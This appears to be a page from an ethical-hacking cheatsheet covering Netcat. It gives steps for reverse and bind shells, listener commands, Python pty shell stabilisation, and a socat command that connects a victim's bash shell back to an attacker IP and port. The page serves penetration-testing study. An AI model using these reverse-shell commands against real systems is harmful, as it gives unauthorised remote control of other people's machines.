β˜„οΈ
Certified Ethical Hacker
  • πŸ‘‰Certified Ethical Hacker Cheatsheet
  • 🐧General Settings
    • πŸ“¦APT Package Manager
    • πŸ€–Cron
    • 🦊Firefox Extensions
  • ✍️Research & Report
    • πŸ’ Obsidian
    • 🎒Notion
    • 🐼Pwndocs
  • πŸ”ŽInformation Gathering
    • πŸ“›NSLookup // Dig // Whois
    • πŸ“œNmap
    • πŸ–₯️DNS Enumeration
  • πŸ”¬Vulnerability Assessment
    • 🌐Web Assessment
      • Nikto
      • WPScan
    • πŸ•ΈοΈNetwork Assessment
      • OpenVAS
      • Nessus
  • βš”οΈExploitation
    • πŸ”΄Metasploit
    • 🐍MSFVenom
    • πŸ‘οΈSearchsploit
    • 🐚Revshells
    • 🐱Netcat
      • 😾Pwncat-CS
    • πŸ’ͺBrute Force
    • πŸ”’Wi-FI
  • ⚜️Post Exploitation
    • β›ΊPersistence
    • πŸ“File Transfer
      • Netcat
      • SMB
      • Python
      • Updog
      • Linpeas
    • πŸ•³οΈTunnelling
Powered by GitBook
On this page
  • Installation
  • Reverse Shell
  • Bind Shell
  • Stabalising Shells
  1. Exploitation

Netcat

Installation

sudo apt-get install netcat-openbsd

Reverse Shell

  1. Generate a shell from Revshells

  2. Upload it to the target

  3. Start a listener with: nc -lvnp PORT

  4. Execute shell on victim

Bind Shell

  1. On the target, run nc -lvnp PORT

  2. Start a listener on your machine using nc IP PORT

RLWrap: You can use rlwrap to have a better shell experience

sudo apt-get install rlwrap
rlwrap nc -lvnp 4444

Stabalising Shells

Python
# Basic
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

# Interactive
python3 -c 'import pty;pty.spawn("/bin/bash")'
# CTRL + Z to send task to background
stty raw -echo; fg
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
Socat
# Start Listener (Kali)
socat file:`tty`,raw,echo=0 tcp-listen:PORT

# Connect Back (Victim)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:PORT
PreviousRevshellsNextPwncat-CS

Last updated 1 year ago

βš”οΈ
🐱